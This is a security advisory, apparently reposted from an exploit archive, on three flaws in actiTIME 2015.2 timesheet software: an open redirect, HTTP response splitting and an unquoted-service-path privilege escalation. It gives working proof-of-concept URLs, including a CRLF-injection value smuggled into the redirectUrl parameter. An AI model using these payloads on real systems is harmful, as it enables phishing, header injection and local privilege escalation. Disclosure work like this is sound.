actiTIME 2015.2 Multiple Vulnerabilities

actiTIME 2015.2 Multiple Vulnerabilities

Vendor: Actimind, Inc.
Product web page: http://www.actitime.com
Affected version: 2015.2 (Small Team Edition)

Summary: actiTIME is a web timesheet software. It allows you to
enter time spent on different work assignments, register time offs
and sick leaves, and then create detailed reports covering almost
any management or accounting needs.

Desc: The application suffers from multiple security vulnerabilities
including: Open Redirection, HTTP Response Splitting and Unquoted
Service Path Elevation Of Privilege.

Tested on: OS/Platform: Windows 7 6.1 for x86
Servlet Container: Jetty/5.1.4
Servlet API Version: 2.4
Java: 1.7.0_76-b13
Database: MySQL 5.1.72-community-log
Driver: MySQL-AB JDBC Driver mysql-connector-java-5.1.13
Patch level: 28.0


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience

--


1. Open Redirect
-----------------

http://localhost/administration/settings.do?redirectUrl=http://zeroscience.mk&submitted=1


2. HTTP Response Splitting
---------------------------

http://localhost/administration/settings.do?redirectUrl=%0a%0dServer%3a%20Waddup%2f2%2e0&submitted=1

Response:

HTTP/1.1 302 Moved Temporarily
Date: Wed, 14 Oct 2015 09:32:05 GMT
Server: Jetty/5.1.4 (Windows 7/6.1 x86 java/1.7.0_76
Content-Type: text/html;charset=UTF-8
Cache-Control: no-store, no-cache
Pragma: no-cache
Expires: Tue, 09 Sep 2014 09:32:05 GMT
X-UA-Compatible: IE=Edge
Location: http://localhost/administration/
Server: Waddup/2.0
Content-Length: 0


3. Unquoted Service Path Elevation Of Privilege
------------------------------------------------

C:\Users\joxy>sc qc actiTIME
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: actiTIME
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\actiTIME\actitime_access.exe startAsService
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : actiTIME Server
DEPENDENCIES : actiTIME MySQL
SERVICE_START_NAME : LocalSystem

#  0day.today [2018-01-05]  #